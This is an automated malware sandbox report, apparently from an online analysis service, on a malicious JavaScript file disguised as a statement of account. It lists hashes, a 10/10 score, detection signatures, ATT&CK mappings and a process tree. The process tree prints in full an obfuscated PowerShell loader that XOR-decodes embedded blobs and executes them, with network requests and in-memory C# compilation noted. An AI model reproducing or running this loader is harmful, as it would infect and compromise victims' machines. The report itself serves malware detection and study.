8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/07/2026, 12:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
UPDATED SOA 07 JULY 2026.js
Size 41KB
Sample260707-pc33psev5r
SHA256 8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426
MD5 b036eb438eb04cc72f86b6fb874c4f8b
SHA1 2938d470228f89986e95d45a9602a2a1f5878374
SHA512 f25a89f6b636d4736804905da50d67dd495e1e4106ecc25167b2d19625b7ce8fadd11743a7e0e6614d4d98960723b603fa393008639e090176a24b61c4a50268
SSDEEP 768:D65x72EBUkzV/i8J8H8g8N8i8E8t8K8O8H8N898g8K8O8H8G:WT2EB5zVa8J8H8g8N8i8E8t8K8O8H8NF
TLSH
T1BE13DC7B5525852C001D2EDFF7811D4422E2FB4FE4AA3EDB196B4AEDC191E6043BF1A2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4624	4400	powershell.exe	85

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4624	powershell.exe
30	4624	powershell.exe
32	4624	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4624	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4624	powershell.exe
4624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4624	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 5080	4624	powershell.exe	92
PID 5080 wrote to memory of 4064	5080	csc.exe	93

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\UPDATED SOA 07 JULY 2026.js"
1⤵
PID:3684

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$j=47-27;$vv7b3x='eBKx4gd6qz';$defUtwKo='c2e2b2a6ffbfbab188bcaa8d91f2b39eabffb4beab9bc1e193c795d2bea4e1bb84a0e8a4adf98bbfa686959fffa3affbbea292d2db81fbaebbeeb2a4b6b893bdeaa2adf3b7f0f2c8ba9cfbb9e0cfbeb3ba9a88a6e79dbcf3afbfac878d86e7bdabc1e1ea9b8492e3acc0c4b8b9e6fbd5c6b6c683befeb6b3a8bdd2bee4a989caaf9fb6aad0b1aca1bbc6a2929b8db99cae9799acae85a2be8cb0d99ba4f89cbcb98a8ba1f9ae86cab2b288848b9bd983bdc5839eb5a1a790f19499a9ebb2fdd9a98bc69fa2f9e892feb18caaee94b7dea1b488aed1b3c980a9cd839eb5b2b6e3f7af86f7bc8488d18988db8bb4ffe986bbb18caaab8689d6eeb488be838acd8fa0d783a48d8bd29cf2af99d6a8b59caa8e82cb8bb4ffe986bbb18caaab81a5f8b7b48abed588c983fff89cbcbab2d194e4aefccaaf89a290d499dda6f9d59cbca2a3a6b5f9849aadaeb498909299c6b9f7d5939aa38ca984e7afa7de99b387aaa4b0acfca6fd8ce4bab9d284e7aea3caaeb48aba97b0c98bbefeb2e5828ad394f58689ffab9ffcd9d8f593c78ff8bffd9b9191b7bee09ae5abb58b8d87bbf0a4baf5b4beefc0ba86fbb5bab29ebeac8785bbf0aa93a6e1859baed9fcd9a8bacfafa2a68686fac58ea1f2adb5bd9cbce8a48bbcf3b692ae9b84e4aa9ebaeeb2bea8c0c5b0a8f9e7b5f2ddc58e94bcfdb9a7f3b5f0abc0c5beb7b6eaebe69eaa9fcc9dfca7abffaff0818d95fcc9a8acdfb7b9aa8695e9b68aabe8f682ae8685bdf3edeaf0fbfd8c8794bceaedeaf0f593a09d8fa6b7b1ebe7afa2b69393b7eab8bcf2fbf4b8c6a5bde9a3a2f3bab48b8995b3b6e991b5a6b3ae9c82bae5b0b3e1d6daa99d8fb1eaa4a1f2fbb9e7cc80febab9e2b8b6fceb98dc92b6e4e7e7ffa9f2b3b1baffa3baf3b697ae9c848fa4f782f3bab48e9b92b7f3afa2e5f3';$bKaFXKvhW='FHY3FkVADEddAXdyankYQlQQDAZMKGUJPhx3FkhDfnZzSEEfVBIEC0RqJQkPDxURCmhVY1NIFVpeBwwLXTs2djNXVw9BTER+cUNPcFgNQEZecFhBAFVCPgN/RXVyRAIefwxKf0V1ckQCHmIXRVtZdDJkD0FFAkpMVTA3BFoWXl5NSRg2OkNPe0IwUE5Efn0EGmlwAFBGRnZqQhNvC1lnXVV2akgoXEIXRUFTcjYJExtMWABBHl5wWw5ZVEsAQBwzbgQcPztuLgtbKl4FSRVZF1BfCjgxRhtTUE1HQB5tfwJQHFsTQwgZOzYKCUZFE1cVHzgvHVYcAFQXAQIwPgZBFQNUChYJOHdABh0ATU5fVzA3BGw4WAUMBxRwI0lBFlpKCU5eczYJFQ9qN0FXRDlbQwJdVQpKSG0tJHg1dAlNY0pERGpfCFxWSwBIGT4zQABGUgsDEwxESmxGEhpDA31kKSAFTxgOShgTdVlaE18VGBgpJRA3OkoGVBFeBAhHdmwCWHMHOl1uZSUxXRFTHxpCSkRkf11OHQsQQ1xWfHlLCVRCBVdLFzclDUVVVgUEEhAzeUoHHGIWRlxEZXdDBhoBTwQLV3B4Ay1XXwRQRxA6PhxTGzxpAEMQKj4KURURWCklEDc+DQgSGThnQF5he18VbwtZYl1felxMElcHV3dbQn5wSkkWfAJQTFhybXZQbxhKBAhdbm5fDlVDAkkBeHhzSARBFkMDXUV5bV5GEnFLAEhXcTINRV4dQwMIHDc5fwRVcBBJCBw3ORxGEh1DA1cIITkEbDgRQwQPd3JqADFAXgBBXENrbUITRhEgdHoQOnpIElFNEEFDVXRqDUxUWBFXWxAiYksVEn8CSUocVE54QU88aSklEDc+DUESEUMEDw==';$oFXwFdVu=0xA058-0x4EC2;$xXOdqH=@();foreach($c in [char[]]$vv7b3x){$xXOdqH+=[byte]($c-bxor0xAA)};$dp3cCaZ=$xXOdqH;$xXOdqH=@();foreach($c in [char[]]$vv7b3x){$xXOdqH+=[byte]($c-bxor0x55)};$gs5aPssk=$xXOdqH;$r='';$i=0;for($j=0;$j-lt$defUtwKo.Length;$j+=2){$r+=[char](([Convert]::ToInt32($defUtwKo.Substring($j,2),16))-bxor$dp3cCaZ[$i++%$dp3cCaZ.Length])};$hnOyWC=$r;$b=[Convert]::FromBase64String($bKaFXKvhW);$r='';$i=0;for($j=0;$j-lt$b.Length;$j++){$r+=[char]($b[$j]-bxor$gs5aPssk[$i++%$gs5aPssk.Length])};$d3TqIe7UC=$r;$suinXPc=$hnOyWC+$d3TqIe7UC;.($env:ComSpec[4,26,25]-join'') $suinXPc"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dlaidwyg\dlaidwyg.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES21EB.tmp" "c:\Users\Admin\AppData\Local\Temp\dlaidwyg\CSCFE7B14C33CD742C196F849E789F5E81B.TMP"
    3⤵
    PID:4064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES21EB.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES21EB.tmp
Size 1KB
SHA256 bb997679557946821252ff85d608fbfcd184f042eb8f2043dd59d5ce44ac46b3
MD5 89cd97bf11ca459949a6342835066f14
SHA1 ff93143e9820ef9cd322b4cfbafdd8334cb5dd80
SHA512 ad4521bb1d2985080e3cae05e64b53b2dfdb6c98fee00b6e536f26fbd75aba099b1dbcbe61aafcc09cb6fe56fb287c1e388ac837e749760c8d66db57b2db8be7
TLSH
T146217B0553E8471EF0B75B3169FA172BA264FD99EF62936B458052292C41604EEB0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_b1mmndjc.ef5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b1mmndjc.ef5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

dlaidwyg.dll

Path C:\Users\Admin\AppData\Local\Temp\dlaidwyg\dlaidwyg.dll
Size 3KB
SHA256 19ed923851b06ec650aa8da6939757a82b4bb93b79d6d8fd3d3a61b96f615672
MD5 27227fe0d185df4dadbdd010a5090e21
SHA1 21346b3a0afbc80ff9f04e46a9a927dde32db4b6
SHA512 2a81f25e0df3fa2a21f83013088c28a9690a1d7a7d74f3fb9f3d56d8697ca806c41a2b71c38561da5209b315d2b26489279ea734ab16403e7c6f2f31e18eaf63
TLSH
T13151DF1AA3E8462BE4B70B317EE343573774F921DB63535D4980026CAC613645E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSCFE7B14C33CD742C196F849E789F5E81B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\dlaidwyg\CSCFE7B14C33CD742C196F849E789F5E81B.TMP
Size 652B
SHA256 10e4aca6522c0b2e295f657d31be71cdd15d39658be4c3ce3ac86cd37487a5a3
MD5 9a376ef7796052fc8336ce6aa6c50580
SHA1 657865ccb28cae38797f35350114745ca1a9c2f0
SHA512 91a983ec985ac24aec32e74bd6cc6891edbd78b9a4ff104d316d82dea81d5ebc15174bbf306a7f817e2198d59a1a0031a0262b37ad5ce74879b7a4b53cd2ef62
TLSH
T162F05E0963F8020EF0F34B31BDF6536391A8BC65DE3293ED194013196C646108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

dlaidwyg.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\dlaidwyg\dlaidwyg.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

dlaidwyg.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\dlaidwyg\dlaidwyg.cmdline
Size 369B
SHA256 5fadd0fdcac87e5d3c1622874a96779e2f316abc7d584ae2f1ad1b8f9530cac7
MD5 b40ed34d5e8082dc013a3e6d710f3b83
SHA1 f472606ffd6f4fa50899637caf42667cf02e9b39
SHA512 df3910680a80e69608188c85351af0e4e02efb074261410f2803a1c8bacb3d5417698ee88c1e168509765439d6c7456c7e59d2edffa4714c1235bcd3a1316dc3
TLSH
T125E0C02AC246C7FD8ADD1007217DC4ACC2B25F6B6D493F8C50C1441FD0970032BD1751
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4624-7-0x0000013CAD2B0000-0x0000013CAD2D2000-memory.dmp

Download

memory/4624-10-0x0000013C94370000-0x0000013C94380000-memory.dmp

Download

memory/4624-0-0x0000013C94370000-0x0000013C94380000-memory.dmp

Download

memory/4624-1-0x0000013C94370000-0x0000013C94380000-memory.dmp

Download

memory/4624-23-0x0000013CAD9B0000-0x0000013CAD9B8000-memory.dmp

Download

memory/4624-24-0x0000013C94370000-0x0000013C94380000-memory.dmp

Download

memory/4624-25-0x0000013C94370000-0x0000013C94380000-memory.dmp

Download

memory/4624-26-0x0000013C94370000-0x0000013C94380000-memory.dmp

Download